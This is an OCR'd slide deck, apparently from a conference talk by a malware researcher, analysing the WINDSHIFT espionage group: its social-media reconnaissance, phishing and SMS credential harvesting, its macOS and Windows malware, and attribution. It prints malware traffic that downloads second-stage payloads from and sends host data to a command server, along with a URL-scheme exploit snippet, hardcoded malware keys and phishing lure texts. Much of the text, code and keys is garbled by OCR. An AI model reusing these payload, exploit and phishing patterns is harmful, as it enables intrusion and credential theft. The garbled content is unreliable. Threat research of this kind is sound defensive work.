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LITTLE BIT ABOUT ME

°* Malware RE for the last decade
°* Areas of interests:

* Tracking APT’s and reversing their tools and MO'’s.
* Cyber crime investigations involving credit card fraud and bank cyber heists.

° My background: I worked at FireEye Labs, and Symantec as Senior Malware reverse
engineer.

°  Currently I work for Dark Matter LLC, as Head of malware research labs

°* MSCS and MBA from |I’'Ecole pour l'informatique et les techniques avancees, Paris - France
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APT MYTHS AND DEFINITIONS



PART I: APT MYTHS AND DEFINITIONS

°* Does APT always means Advanced?

* Case scenario: A target using unpatched Windows XP with no AV.

— A very advanced toolset would be an overkill and comes with an unnecessary toolset
exposure, whilst a simple toolset will get the job done most of the times.

— Modern APT’s, Re-use of available tools, think copy-cat, evading attribution.

— Simplicity always wins over complexity. Especially when time frames are shorts
and/or budgets are limited.
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PART I: APT MYTHS AND DEFINITIONS

* How to measure an advanced APT?
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PART I: APT MYTHS AND DEFINITIONS

* Public and most known “Middle-East” APT's, based on public feeds:

* GREENBUG

OILRIG

MUDDYWATER

APT 33

APT 34

* Up-to-date Middle-East APT OSINT data can be found here:

* https://darkmatter.ae/evolution-muddywater-advanced-persistent-threat-apt/
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PART I: APT MYTHS AND DEFINITIONS

* Most of them rely on open-source tools:
* Empire, Metasploit, Mimikatz, invoke-obfuscation, PsExec...
* Minor some customization: strings replacements, code refractoring, ..
* Sometimes relying and re-using low commodity malware:
* RATs: NANOCORE, NETWIRE, njRAT, ...
* OR build copy-pasta Android malware, ..
* Usually copy-cat actors, unless some of them developed custom basic hack tools:
° POWERSTATS, ISMAGENT, MICROSPIA, ...
° Then they unlock the glorifying life-time “"APT” attribution.

#UnlockyourAPTTag
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PART I: APT MYTHS AND DEFINITIONS

* Example of OilRig custom x64 Mimikatz:
* Original Mimikatz x64 version have 1779 functions in total
* QilRig modified Mimikatz have only 660 functions in total
* Based on mimikatz version 0.1

* Have all the strings changed
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PART I: APT MYTHS AND DEFINITIONS

* String changes for the OIlRIG custom x64 Mimikatz:

ph for s 14004CSES

R

Original mimikatz x64 OllRig custom mimikatz x64
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PART I: APT MYTHS AND DEFINITIONS

° String changes for the OIlIRIG custom x64 Mimikatz:

Original mimikatz x64 OilRig custom mimikatz x64

String
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PART II: WHY AND HOW WINDSHIFT IS DIFFERENT?

* It's a long term non-attributable APT.
* Pure Intelligence and Cyber espionage actor -> mostly active surveillance
* It's been there for a while, and never got popped.
* Versatile, sophisticated and unpredictable Spear phishing attacks
* They Re-use your favorite APT malware (and Infrastructures):
* aka Hacking other APT actors
* Very rarely directly engage targets with malware :
* 2 attempts in 2017, very specific individuals.
* 3 attempts in 2018, again very specific individuals.

*  They are ONLY after specific individuals. Rarely targets corporate environments. This what helped
them staying under the radar for years.
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WINDSHIFT APT - MODUS OPERANDI (MO)




PART III: WINDSHIFT APT - MODUS OPERANDI (MO)

° Phase 1: RECON - phase 1 duration 1-2 years

* Via maintained fake personas on different social platforms:

— Linkedin, Facebook, Twitter, Instagram, Google Plus.

* Sending Friend Requests, engaging a conversation, to get
identifiable information, emails, phone numbers, friends contacts

* Through social media mobile apps:

— Example of such apps, phonebooks, stealing contact list,
emails and SMS contents https://darkmatter.ae/darkmatter-
identifies-app-stealing-personal-information/
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https://darkmatter.ae/darkmatter-identifies-app-stealing-personal-information/

Phase 1: RECON - phase 1 duration 1-2 years

* Example of fake online persona Asalah (i Ji isi) Al Sameeha

linked to WINDSHIFT APT:

L ee— —

Asalah (e J! Ulal) Al Sameeha Oubes Avports
Operations Supervisor at Dubal - British Arpor © usiversiy of o

. " s
_‘--d..‘-'

asalahalsameeha TN & €D
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Twitter OSINT 101:

* Legitimate Twitter account vs APT maintained Twitter Account
(Weekly Activity) — using tweets__analyzer.py tool -

Aav)
uay )

et e ad =3 e e et et et ettt r ot 4 4 44 4 4 v b b ds de 4 - . - b de i A
R R R R R R R R R R R R R R R R R B R R R R

APT maintained Twitter account: @aheemaslahalasa
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PART III: WINDSHIFT APT - MODUS OPERANDI (MO)

° Phase 2: RECON - phase 2 - duration 6 months - 1 year

* Long term monitoring of targets via benign emails:

— Click habits, subjects of interests
— Geo locating targets + Type of computer target uses (via User-Agent)
— Email click rate

— Usage of mailing lists, sending daily emails: duplicating content of local media

* Building a sort of content habit and relationship with the target over time.

=> increasing click rates, preparing the targets for the next phases.

D»OARKMATTER GUARDED BY GENIUS



Phase 2: RECON - phase 2 - duration 6 months - 1 year

— Benign email, example of Khaleej times content duplication, link pointing to legit
Khaleej times as well:

_ a8 <noOreply updaterios B omel cony

Date: January 8, 2018 at 11:16:33 AM GMT 4

Yo: SOl Lo

Subject: Lung cancer cases rising in Abu Dhabl, warns doctor

Ahalegj Times

Lung cancer cases
rising in Abu Dhabi,
warns doctor

Procautionary measures should De taken 1o
prevent S increasng cases of lung cancer, sad
@ Al Anbased dociorn,  TODSCCO smoking s the
man cause of the dsease and residents must
astain from the habit, sad Dr Knalid Balara) Al
Amoud, head of the Oncology Department at

Tawarm Hospital in Al Ain,

READ MORE
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Phase 2: RECON - phase 2 - duration 6 months - 1 year
— From the email source we found

Tracking via Wasmyemailread|.]com:

<tr>

<td align=3D"left"><p>Precautionary measures should be taken to prevent=29
the increasing cases of lung cancer, said an Al Ain-based doctor.&nbsp;&nbsp=
;=20

Tobacco smoking is the main cause of the disease and residents must=20
abstain from the habit, said Dr Khalid Balaraj Al Amoudi, head of the=20
Oncology Department at Tawam Hospital in ALl Ain.<img src=3D"http://www.wasmy=
enailread.cm/notgy\_mlank.qif“x/w
></td> . .

</tr> email tracking

Also tracking via ifread[.]com

¥ CACANG B W0k aDOve S00eTT work, Dass CODY AN Daste e UIRL & & new Drowser window resesd
Secorety

Bead com Team
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PART III: WINDSHIFT APT - MODUS OPERANDI (MO)

°* Phase 3: Credential harvesting, duration 1 day

* Sending emails mimicking legit password recovery or password reset of following providers :
— Targeting personal emails : Gmail , Apple iCloud, Etisalat (main ISP in UAE)
— Targeting professional emails: OWA outlook

* Send SMS redirecting to a credential harvesting page.

* Domain typo squatting

* Domains resolves only 1 day during the attack then shutdown.

* Anonymous domains registered with freenom.com for free: .ml, .tk, .ga. gq

* Also domains registered with Internet BS, Namecheap, with Whois Privacy Guard..

* Credential harvesting landing pages are using HTTPS : free SSL certificates with let’s encrypt, or
COMODO Free SSL ..
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PART III: WINDSHIFT APT - MODUS OPERANDI (MO)

°* Phase 3: Credential harvesting, duration 1 day

* OWA harvesting attempt:

C DNt Secmm

B vecaie & o 0 Vostad porntes

Outicok Web App
Security info confirmation

‘lv-ﬁﬁ‘ At Dt Serrgrandy suspended due 10 some Qe oror 10 murige and revew your actoun] by 1050w he ek belon

Outlook'Web App
¥ you G0 Y tecogece tha detal you can chek here 0 temave Taese detads Iroey pour ermadyl [FRl
Mot 2 email tracking o
e,
Owtiooe Wed App =
® sgnin
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PART III: WINDSHIFT APT - MODUS OPERANDI (MO)

°* Phase 3: Credential harvesting, duration 1 day

* Apple ID harvesting attempt via SMS and Emails :

Text Message oeor [

Yesterday 3:50 PM You had selected your Apple 10 (2 yahoo.com). To verify this email
address still belongs to you, follow the link below and then sign in by using your

This is a reminder that on PR

08/12/2017 you will be charged —

USD 11 9.88 for your 2 TB Storage :'p:remumﬁdﬁgt'l::m;\evcr an email address is selected as an Apple ID.
plan, Your Apple ID cannot be used until you verify it.

To cancel or d Owngrade plan p|ease If you have not signed in to Apple ID recently and believe someone may have

accessed your account, go to Apple ID https://appleid.apple.com and change your

click on this link httQS:/__: passphrase as soon as possible.

B |/ payment R
The iCloud Team

Appie 1D | Support | Privacy Policy
Copyright © 2017 Appie Inc. 1 Infinite Loop, Cuperting, CA 95014, United States. All rights resorved
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PART III: WINDSHIFT APT - MODUS OPERANDI (MO)

° Phase 3: Credential harvesting, duration 1 day

* SMS targeting Etisalat Users:

“(T)"‘ s ﬁ """";' -static o1 MDomain layect 0150512 458sves-login Mmilngen USS3.0.1 Ofenv7eid = 1644
R
S B el

 Pay your AED 356.50 bif on due
date by visiting here Mty |

® o =
0" Geoe -
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PART III: WINDSHIFT APT - MODUS OPERANDI (MO)

° Phase 3: Credential harvesting, duration 1 day

* Gmail harvesting attempt:

[ @ Secus
Google /
- base6d decode
Someone just try 1o signin wmmi‘mmj.m recently. To protect your account please
change your password now by following the ink below: Gougle

base64 decode

Details: gn in
Monday, 21 Dec 2017 10:30 AM (GMT+3) 1o curtrue ¥ Crmar
Iran, islamic Repubic of, Tehran
Best Forgot emas?
The Google Help Conter
';;:;:(:;:»::‘?—f’nm—n g detersared by e 1P acdrmas N wes comang om. This amal can) recerwe repies. For mors rfemedon, vist ihe Nore ogoo ﬂ
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PART III: WINDSHIFT APT - MODUS OPERANDI (MO)

° Phase 4: Hacking targets, 1 or twice per year

* This phase usually happens if Phase 3 was unsuccessful after many attempts. It
is the last resort phase.

* Infection vector: Emails (related to previous interaction emails of phase 2)
having link to a drive by download delivering malware. Or emails having a
direct malware attachment, usually within an archive.

* Weaponize and re-use malware from different threat actors.
* Re-use command and control infrastructure from other groups

* Real separation between spear phishing infrastructure and malware C2
infrastructure, to avoid attribution, suspicions and takedowns..

» DARKMATTER GUARDED BY GENIUS



PART III: WINDSHIFT APT - MODUS OPERANDI (MO)

* Below is the separation of WINDSHIFT APT C&C and spear phishing
infrastructures:

-
......
.
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PART III: WINDSHIFT APT - MODUS OPERANDI (MO)

°* Phase 5 : Disappear
* Shutting the domain names and all related information for months
* Switching to other spear phishing infrastructures
* Continuously getting more access to new infrastructures:
— Hacking
— Renting infrastructures

— purchasing new access from VPS resellers (bitcoin), bullet proof hosting providers.
* Repointing domains to new infrastructures

* Getting access to more malware, and more C2 infrastructures and maintain the access
until flagged
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PART III: WINDSHIFT APT - MODUS OPERANDI (MO)

°* Phase 5 : Disappear

* Example of OWA spear phishing domain :
on January 2018, webmail-badirah-ae.html-5.me moving from WILDCARD-UK Unlimited to Bodis LLC :

Last Source Tags

80608ty

Resolve Location Network ASN First

weso il us 199,59 | 395082 2018-01-12

Bodis LLC is known to be linked to Dark Hotel and to many others:
" MalwareMustDie, NPO A Foliow

@I orewesinastin
@ConradLongmore Why didn‘t US gowt.
clean Bodis network? What's the issue? That
network segment is a carnival of internet

bandits now..

D OARKMATTER GUARDED BY GENIUS
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PART IV: WINDSHIFT APT - TOOL-SET

* Current Tool-set by chronological order, mostly cyber espionage
tools, still under on-going development:

Dark Matter Code |TargetOS | Firstseen  |Description
WINDTAIL.A macOS Jan - 2017 Backdoor
exfiltrating files
WINDTAIL.B macOS Jan - 2018 Downloader of
WINDTAPE
WINDTAIL.C macOS Jan - 2018 Variant of
WINDTAIL.B
WINDTAPE macOS Jan - 2018 Backdoor taking
screenshots
WINDDROP - Windows May - 2018 Downloader of a
unconfirmed unknown malware
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WINDTAIL.A : Sighed macOS backdoor exfiltrating files having the

foIIIowing extensions: .txt .pdf .doc .docx .ppt .pptx .db .rtf .xls
Xlsx

Persists via LoginItems

Strings encrypted with AES-256-ECB and encoded with Base64.
AES key hardcoded in the sample:

AES encryption key

:classRef yu ; void *
D1 ¢  yu decode

:_objc_msgSend ptr

> :selRef_ AESDecryptWithPassphrase_ ; char *
, cfstr LlnszE
; void *

»OARKMATTER GUARDED BY GENIL



PART IV: WINDSHIFT TOOL-SET - WINDTAIL.A

* First apparition in January 2017

* Infection vector via spear phishing emails, pointing to a specially
crafted webpage. The targeted emails were pointing victims to
access a VIP contacts list:
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<div dirs3D0"1tr"><div><a href=3D"http://do

ntmle tarast=2he Rlank ><ima eresdh nttpe: /}

y -
D"122"></a><br><br><br

BT, et
S ~ malicious webpage
" googleusercontent image €XPloiting url scheme

- tracking

~ Forwarded Message ——

From: (via Google Drive) <driy 15 ooogie policy® ’ > -
To: FYAhOO con g -
Sent: @y, January 16, 2017 550 PM

Subject: Fwd Sham has shared "VVIP Contacts” with you . * attacker Gmail
Address

googleusercontent linked image
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The specially crafted webpage will download a file VVIP_Contacts.zip, and will
call a URL scheme: openuri2622015://a:

iavigator.userigent
va.search('Mac');

’
0ettleme '.[',,'[(J(".");

nt.getElesentByld('f2');

//WIP_Contacts.zip?seed="-r;

vindow.setTimeout(function(){
¢ function() { f.src “"openurl”-r-"://a"; window.location.replace('http://google.com'); };

false) {
ow.setInterval(go, 3009);
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The custom URL scheme of VVIP_Contacts.app contained a typo "missing the
letter L”

WIP Contacts

Which results in the failure of this first targeted attack.

Nevertheless, attackers gave a backdoor a realistic look by mimicking an Excel
sheet icon, and most of the unaware victims will fall in this second trap by double
clicking on the app to access the VIP contact list
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PART IV: WINDSHIFT TOOL-SET - WINDTAIL.A

° Demo #1 :

* How a custom URL scheme is added to the LaunchServices database (via a file
download, network shares, etc..)

* How to trigger the custom URL scheme using a specifically crafted webpage
* Weakness of the attacker controlled user consent pop-up
* Lateral movement: how WINDTAIL.A infect any MacOS via network shares

* 1-click Malware infection and persistence
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PART IV: WINDSHIFT TOOL-SET - WINDTAIL.A

* Rewrite ? of "Hack Back” aka “"KitM OSX"” , 2012 surveillance malware. We find the exact
same helper function re-used (reading last 8-bytes of a specified file)

* Signed with new Developer ID certificate

FEFTTTETTl §
1ib

3
/

!

°* Weaponized with AES-256-ECB

(i

i

i
Lt

° Sign of code re-use ->

-

i3
3
EaRL L

i
t

* Same C&C servers IP from 2012

° “Hack Back” aka "KitM OSX" is linked to:

* Operation Hangover / Appin Security

* Indian APT group from 2012
»DARKMATTER GUARDED BY GENIUS




PART IV: WINDSHIFT TOOL-SET - WINDTAIL.B

° WINDTAIL.B, first apparition in January 2018

* Infection vector is with direct email attachments

From: [ i corm>

Date: January 4, 2018 at 5:03:57 PM GMT+4

To mail.com

Subject: FYI

Please find the attachment

) email tracking

WINDTAIL.B macOS malware

Meeting_Agend <
a.zip

D OARKMATTER GUARDED BY GENIUS



PART IV: WINDSHIFT TOOL-SET - WINDTAIL.B

*  Weaponized with AES-256-ECB

°  Full rewrite of WINDTAIL.A (appeared exactly one year later after WINDTAIL.A)
* Additionally downloads and execute WINDTAPE (see next slides)

*  Weird similarities with Komplex OSX Trojan from Sofacy APT (aka APT 28):

* Testing if www.google.com is available using the Reachability framework

* Komplex OSX communicated with C2 hosted via AltusHost B.V a Netherlands service
provider. AltusHost B.V is linked to several group and majorly used by Russian and Indian
APT groups:

D»OARKMATTER GUARDED BY GENIUS


http://www.google.com/

PART IV: WINDSHIFT TOOL-SET - WINDTAIL.B

° Also AltusHost B.V had 46 IP’s related to Operation Hangover: Attribution to India
(we will talk about this later on, in the Attribution part)

79.142.64.39 31.3.154.113 213.5.71.26 31.3.154.115 79.142.64.177 213.5.71.31 31.3.154.116 213.5.65.31 79.142.64.47
37.46.127.78 79.142.78.80 213.5.71.24 185.10.58.175 37.46.127.75 213.5.71.20 31.3.154.117 213.5.65.223 79.142.78.112 79.142.64.37
37.46.127.77 213.5.71.28 31.3.154.110 79.142.64.49 91.214.45.187 79.142.78.120 31.3.154.114 79.142.64.183 213.5.65.20 37.46.127.81

79.142.64.181 79.142.64.36 79.142.64.97 213.5.71.27 79.142.64.99 37.46.127.76 79.142.78.111 213.5.65.24 31.3.154.111 9.142.64.34
79.142.78.76 31.3.155.106 79.142.64.178 79.142.64.32 79.142.78.83 79.142.64.98

* AltusHost B.V had 2 IP’s related to Carbanak
185.10.56.59 185.10.58.175

° AltusHost B.V had 1 IP related Morpho APT

185.10.58.181
* AltusHost B.V had 1 IP related Sofacy APT (aka APT 28)
185.10.58.170

source (https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/)
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PART IV: WINDSHIFT TOOL-SET - WINDTAPE

°  WINDTAPE, first apparition in January 2018
°  WINDTAPE, is the a second stage downloaded by WINDTAIL.B

°* The below PCAP was recorded from our macOS Honeypot:

HTTP/1.1 200 OK

Date: Thu, 11 Jan 2018 16:24:52 GMT

Server: Apache/2.4.29 (cPanel) OpenSSL/1.9.2m mod_bwlimited/1.4
Keep-Alive: timeout=5, max=99

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-~Type: text/htal

15d, 2ipGET /XxCeDXLDGrbmAhgX/ 1sd.zip HTTP/1.1
Host: flux2key.com

Accept: »/=

Accept-Language: en-us

Connection: keep-alive

Accept-Encoding: gzip, deflate

User-Agent: united/1 CFNetwork/807.0.4 Darwin/16.0.9 (x86_64)

HTTP/1.1 200 OK

Date: Thu, 11 Jan 2018 16:24:52 GMT

Server: Apache/2.4.29 (cPanel) OpenSSL/1.0.2m mod_bwlimited/1.4

Last-Modified: Thu, 11 Jan 2018 ©05:45:18 GMT 'sd'z'p down'oad
ETag: "“418d53-d5ff-56279a71fd780"

Accept-Ranges: bytes

Content-Length: 54783

Keep-Alive: timeout=5, max=98

Connection: Keep-Alive

Content-Type: application/zip

>:ARKMA"ER N.' ‘.(Ll..l.l. .l....l..‘“l.”m.lIosz.oszl.l.m.. GUARDED BY GEN'US
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PART IV: WINDSHIFT TOOL-SET - WINDTAPE

° Main purpose :
* Taking a Screenshot of the current Desktop
* Sending the Screenshot to the C2
* Removing the Screenshot
* Repeat every 5 seconds
* Using KSReachability framework to determine if the infected hosts is connected to the internet, KSReachability

code is originally cloned from this GIT repo: https://github.com/kstenerud/KSReachability. (We found the
exact same Credits.rtf left inside WINDTAIL.A)

-[AppDelegate vcc:] __text 0000000100003CDO
°*  Function names in Farisi : -[AppDelegate env:] __text 0000000100004093
-[AppDelegate loit] __text 00000001000040B3

* Goli means Flower/Rose -[AppDelegate goli] __text 0000000100004187
-[AppDelegate dfg:] __text 00000001000042D2

° Namac means Salt -[AppDelegah l’sc:] __text 0000000100004358B
-[AppDelegate namac] __text 0000000100004435

-[AppDelegate vec] _ text 00000001000045E7

» DARKMATTER
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https://github.com/kstenerud/KSReachability

PART IV: WINDSHIFT TOOL-SET - WINDTAPE

° String encryption:
* The encryption used is DES with a hardcoded Key and IV.

* CCCrypt is used, so I wrote the decryption routine in objective-C as following:

W = (NSData =)decryptedDatawithHexKey:(NSStrings)hexXey hexlV:(NSString =)hexiV

0 {

g NSUlnteger dataLength = self.length;

53 size_t bufferSize = (dataLemgth + wCCBlockSizeDES) & ~(kCCBlockSizeDES - 1);
£ void sbuffer = salloc( bufferSize = sizeof{uintB_t) );

% memset((void s)buffer, ox8, bufferSize);

E)

& Byte dv (] = {8x@1, @x82, Bxd3, OxR&, x5, 2xd6, 9x07, Ox08);

)

9 NSString wkey = @ As(aKiis;

L const void evkey = (const void ») [key UTF8String);

size_t numBytesDecrypted = @;

Dy CCCryptorStatus cryptStatus = CCCrypt(&CCDecrypt, kCCAlgorithmDES,
w

XCCOptionPKCS7Padding,
v vkey,
oY w’ys‘l“s‘
5] iv,
” [self bytes),
100 datalength,
109 buffer,
0 buffersize,

, anusBytesDecrypted );
0k 110 cryptStatus == kCCSuccess )

105 {

104 N5Dats emyDots = [NSDats datawithBytes:{const void «)duffer longth:(NSUlnteger)nusBytesDecrypted];

»DARKMATTER GUARDED BY GENIUS



PART IV: WINDSHIFT TOOL-SET - WINDTAPE

° Demo #2:

* WIDTAPE taking screenshots + Exfiltrating the captured images to
the C&C

»DARKMATTER GUARDED BY GENIUS



PART IV: WINDSHIFT TOOL-SET - WINDTAPE

° Final Remarks on the encryption keys used in WINDTAIL.A/B and WINDTAPE

* The encryption keys are hardcoded in the sample in the UTF-16LE format:

42 //WINDTAIL.A AES key

43 NSString* key_a = @"288tASZ~E?| !~<E";
4l

45 //WINDTAIL.B AES key

46 NSString* key_b = @"¢BoVoaunad®t+";

47

L8 //WINDTAPE DES key

49 NSString* key_c = @"A#(&K1Z";

‘50

»DARKMATTER GUARDED BY GENIUS



PART IV: WINDSHIFT TOOL-SET - WINDDROP

* WINDDROP, a Windows dropper, first appeared in May 2018, found by pivoting over the
C2 through an online malware repository. This sample shares the same C&C server with

the other macOS backdoors. It starts by sending information about the infected hosts :

POST /skdfhwsdkfksgfuisiseifgygffiw.php HTTP/1.1

Content-Type: multipart/form-data;boundary=235789DEFGILMPQRSWYZefgiklmptuxyz
User-Agent: pre

Host: flux2key.com

Content-Length: 510

Cache-Control: no-cache

--235789DEFGILMPQRSWYZefgiklmptuxyz
Content-Disposition: form-data;name="UYGHFVG"

247BCDHISUjmoquvwz

~=235789DEFGILMPQRSWYZefgiklmptuxyz

Content-Disposition: form-data;name="GJHGIGFH";filename="inf.log"
Content-Type: text/plain

Content-Transfer-Encoding: binary

ch. Nane. .
--235789DEFGILMPQRSWYZeTgikImptuxyz

Content-Disposition: form-data;name="submit" value="submit"

--235789DEFGILMPQRSWYZefgiklmptuxyz——

» DARKMATTER GUARDED BY GENIUS



PART IV: WINDSHIFT TOOL-SET - WINDROP

°* Downloads a second stage backdoor drop.txt

GET /IWEHIGHEUDGUEYGDDGU_/drop.txt HTTP/1.1

Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: http
Host: www.flux2key.com

HTTP/1

vatc: I—

Server: Apache/2.4.29 (cPanel) OpenSSL/1.0.2m mod_bwlimited/1.4
Content-Length: 366

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1

°* Pass the execution to the a second still unidentified backdoor. No details about this second
stage backdoor found yet, the file was removed from the server.
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Stack strings are encrypted, tools like FLOSS wont be able decode them:

Configuration strings are encoded:

0040266 f
00402675
00402672

0040267f
00402685

dword [MSVCP90O!std::basic_strin...ass std::allocator<char> >::clear@IAT]
Ox409778 {"cjvuOlbw/ mn"}

ecx, Ox40cfec

dword [MSVCPOO!std::basic_strin...ss std::allocator<char> >::append@IAT]
Ox409754 {"piecfxpblcitddvfqjpcjcezddgfu/mf.."}

»OARKMATTER
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All the decryption is performed via a standalone decryption function:

_fastcall

ecx, data_40965¢ {"@Gmoqcoq+Uvnf7"}
08403 fca byte [ecx], 8x© ecx, data_40966c {"§smqgq*pu,dpok.a_ur9"}
00403 fc3 esi {__saved_esi} . = ' &
004031c4 esi, Bxl
864083f¢c9 1 Ox403fFF T

ecx, data_4095ec {"_mvkbbow>"}

ecx, data_409684 {"@Gmoqcoq+Efqqlqiqepks™}

ecx, data_40969c¢ "cmsq+erb8" )

} . £ 0
KDITC

ecx, data_40%6a8 {"k_nb;"}

06483f1de cax, BxS55555556 LN Iy <
00403 fds ' esi 409608 {"cgmbldjc>™)
08463 1d7 eax, edx

86403 1d9 eax, Ox1f ta_4096 L"qeyq-qi_jk"}
08483 fdc eax, edx . 3t
0B483fde edx, [ecax+eax#2] ecx, data_4096c8 {"@moqcoq+Uo_opdfo+Fkapagods™}
08483 fel cax, esi 5 803 fcE

00403fe3 eax, edx

06463 fe5 Ox403f09

ecx, data_4096e4 {"_gotpz"}

ecx, d#{;~469773 {"cjvudlbw/ mn"}
00403 fe? byte [ecx] CC;,”GJE;i 0 {("piecfxpblcitddviqipcicezddgfu/mf "}
CCx,'datu" 896 {"pscigu"}
eax, Oxi ecx, d:t;“dﬂgﬂfd {("s_mrc>"}
Ox403ff1 -
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PART IV: WINDSHIFT TOOL-SET - WINDROP

° Can it be decrypted using emulation ? Yes.

° emulation using Radare2 is possible, see:
REVERSE ENGINEERING

Emulating Decryption Function With Radare2

2018-08-14 & #MALWARE, #PYTHON, #RADARE2

*http://www.mien.in/2018/08/14 /emulating-decryption-function-with-radare2/

° Can we do it with Binary Ninja?
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PART IV: WINDSHIFT TOOL-SET - WINDROP

° Demo#3: Decrypt WINDROP encrypted strings using:

* The Unicorn engine \t ;
g -- Unicorn
The ultimate CPU emulator

* Binary Ninja

e © BINARYNINJA

* And some ninja skills...
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WINDROP strings can be decrypted via x86 emulation

+| decCr

yptin

g WINDROP - part

Starting x86 emulation

decoded to:

decoded

decoded

decoded

decoded

decoded

decoded

decoded

decoded

decoded

decoded

to:

to:

to:

to:

to:

to:

to:

to:

to:

to:

Content-Type:
multipart/form-data;

boundary=

Content-Disposition:

form-data;

name=

filename=

text/plain
Content-Transfer-Encoding:
binary

flux2key.com
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ATTRIBUTION, WHO’S BEHIND WINDSHIFT APT?



PART V: ATTRIBUTION, WHO’'S BEHIND WINDSHIFT APT?

°* An advanced APT hacked into Appin servers, or purchased their source code:

An APT hacked into Operation Hangover and got access to “KitM” and “Hack
Back” malware source code :

° Since not activity was recorded between 2012 and 2017 moreover Appin was
shutdown during that time.

° Suddenly variants of malware appeared in 2017 all signed with developer id’s
having emails very similar BAHAMUT APT MO’'s: example
warren82port@mail.com was used to sign WINDTAIL malware.

* BAHAMUT APT, is an obscure group tracked by Bellingcat showing a very
similar email address composition : usually English first name, last name, and
a number @ mail (.com, .ru) as well as VERY similar MO’s:


mailto:warren82port@mail.com

BAHAMUT APT

Qatar row: Saudi and Egypt among six countries to cut Doha links -

731 AM {4 hours ago) .-

no-reply

BREAKING NEWS

source: Bellingcat

WINDSHIFT APT

Khalee Times <noreph vecalen’os ® omad com>
ary B, 2018 a2 111633 AM GMT+4

AL
bpect: Lung cancer cases rising In Abu Dhabi, warns doctor

Khalegj Times

Lung cancer cases
rising in Abu Dhabi,
warns doctor

Precautonary massunis should be taken %0
prevent the increasing cases of lung cancer, sad
an Al Aln-basad doctor.  Tobacoo smoking s the
main cause of the dsoase and residents must
abstain from the habt, sad DOr Khald Bakray Al
Amoud, head of the Oncology Department at

Tawam Hospiad in Al Ain

READ MORE

source: Dark Matter



PART V: ATTRIBUTION, WHO’S BEHIND WINDSHIFT APT?

BAHAMUT APT WINDSHIFT APT

Sophie Foster
Marketing And Public Relations Consultant at Public Relations Society of the United " -
Kingdom Asalah (d>wew JT Ulol) Al Sameeha » 2nd © = Dubai Airports

Public Relations Society of the United Kingdom « SOAS University of London

Operations Supervisor at Dubai - British Airports © university of Dubai
United Kingdom «354 88

United Arab Emirates {1] see contact info

== mee | TAS—

source: Bellingcat source: Dark Matter



PART V: ATTRIBUTION, WHO’'S BEHIND WINDSHIFT APT?

BAHAMUT APT WINDSHIFT APT
( Gmai' @ Text Message
Yesterday 3:50 PM
oy This is a reminder that on
y 08/12/2017 you will be charged
According to our :)Jlgr[\) 119.88 for your 2 TB storage
privacy policy verify To cancel or downgrade plan please
recovery of your click on this link https:/ I EG_—_
Gmail account via mw
visiting mail. it igam

source: Bellingcat source: Dark Matter



PART V: ATTRIBUTION, WHO’'S BEHIND WINDSHIFT APT?

BAHAMUT APT

Address Backup / Recovery
Phishing

abram.cester.84@mail.ru ale"""""'w u

alena.balas@mail.ru {wv'"memu ru
borya.vasily.81@mail.ru  dam**********@mail.ru
brody.adam84@mail.ru  nic*******@mail.ru

cester.vesi@mail.ru . rct*rrrrrttt* @mail.ru
damone staffen@mail.ru  jen @mail.ru
eagle.eban@mail.ru ras***@inbox.ru
jefry.varela@mail.ru | bor********@mail.ru

jenemy.staffen@mail.ru  mar***********@bk.ru
kavin.colvo@inbox.ru  eag**********@mail.ru
richard.arkady.82@mail.ru bog**********@mail.ru
vitaly-naumov@mail.ru afn***@bk.ru
vova.pavel 84@mail.ru  ila****@mail.ru

source: Bellingcat

WINDSHIFT APT

Email: warren82port@mail.com

Warren Portman
Apple Developer ID: 9S442G74FH

Email: ?7?
Caren Van
Apple Developer ID: 4F9G49SUXB

source: Dark Matter
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PART VI: CONCLUSIONS

* Appin Security was highly likely either targeted by an advanced APT group or tools stolen by
rogue employee or tools (malware, servers access..) were sold to a third party.

* Fact 1: Appin Security previously reported tools and infrastructures are today re-used to covertly
hack into governments.

* Fact 2: We found overlaps with known existing APT actors:

MO’s (including: Domain registration, phishing emails and SMS’s) : BAHAMUT APT,
Fancy Bear

Infrastructure used: BAHAMUT APT, Fancy Bear
Malware coding practices similarities: SOFACY
VPS providers: SOFACY, Fancy Bear, CARBANAK, DARK HOTEL, MORPHO, BAHAMUT

Passive DNS data: overlap with BAHAMUT, SOFACY

* Fact 3: WINDSHIFT APT are currently targeting government using Appin Security tools.
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http://niiconsulting.com/checkmate/2013/05/indian-apt/

https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/

https://www.cyph3rsec.com/site/

https://www.networkworld.com/article/2167354/malware-cybercrime/peculiar-malware-trail-raises-questions-about-security-firm-in-india.html

https://www.f-secure.com/weblog/archives/00002554.html

https://threatpost.com/another-mac-os-x-backdoor-reported/100747/

https://qgithub.com/fireeye/flare-floss

https://qithub.com/pbiernat/ripr

http://www.unicorn-engine.org

https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/

https://qgithub.com/fireeye/flare-floss

https://www.recordedfuture.com/dark-hotel-malware/

https://www.intelligenceonline.com/corporate-intelligence/2017/11/15/cyber-attack--phronesis-takes-appin-security-s-path,108280860-art

https://www.intelligenceonline.com/government-intelligence/2018/01/31/enhanced-cooperation-in-cyber-field,108291981-art

https://www.networkworld.com/article/2167354/malware-cybercrime/peculiar-malware-trail-raises-questions-about-security-firm-in-india.html

https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/

https://www.helpnetsecurity.com/2015/07/08/sophisticated-successful-morpho-apt-group-is-after-corporate-data/

https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

https://blog.vectra.ai/blog/moonlight-middle-east-targeted-attacks

https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html

http://csecybsec.com/download/zlab/Wonder botnet ZLab report.pdf

https://medium.com/amnesty-insights/operation-kingphish-uncovering-a-campaign-of-cyber-attacks-against-civil-society-in-gatar-and-

2a40c9e08852

https://motherboard.vice.com/en us/article/d7ywvx/leaked-catalog-weaponized-information-twitter-aglaya

https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/

https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

